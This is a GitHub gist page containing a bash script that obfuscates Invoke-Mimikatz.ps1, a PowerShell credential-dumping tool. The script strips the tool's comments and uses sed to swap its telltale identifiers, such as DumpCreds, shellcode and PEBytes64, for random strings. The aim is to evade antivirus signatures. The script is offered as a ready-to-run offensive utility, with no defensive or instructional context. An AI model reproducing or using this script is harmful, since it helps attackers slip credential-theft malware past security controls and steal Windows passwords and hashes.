-
-
Save NyaMeeEain/ad007fe83a2a548dc301f41cdd244c09 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ $# -le 1 ]] ; then | |
echo './obfuscate-mimikatz.sh Invoke-Mimikatz.ps1 newfile.ps1' | |
exit 1 | |
fi | |
randstr(){< /dev/urandom tr -dc a-zA-Z0-9 | head -c${1:-8};} | |
cp $1 $2 | |
sed -i -e "s/Invoke-Mimikatz/Invoke-$(randstr)/g" $2 | |
sed -i -e '/<#/,/#>/c\\' $2 | |
sed -i -e "s/^[[:space:]]*#.*$//g" $2 | |
sed -i -e "s/DumpCreds/$(randstr)/g" $2 | |
sed -i -e "s/DumpCerts/$(randstr)/g" $2 | |
sed -i -e "s/CustomCommand/$(randstr)/g" $2 | |
sed -i -e "s/TypeBuilder/$(randstr)/g" $2 | |
sed -i -e "s/Win32Types/$(randstr)/g" $2 | |
sed -i -e "s/Win32Functions/$(randstr)/g" $2 | |
sed -i -e "s/shellcode/$(randstr)/g" $2 | |
sed -i -e "s/PEBytes64/$(randstr)/g" $2 | |
sed -i -e "s/PEBytes32/$(randstr)/g" $2 | |
sed -i -e "s/ArgumentPtr/$(randstr)/g" $2 | |
sed -i -e "s/CallDllMainSC1/$(randstr)/g" $2 | |
sed -i -e "s/NoteProperty/$(randstr)/g" $2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment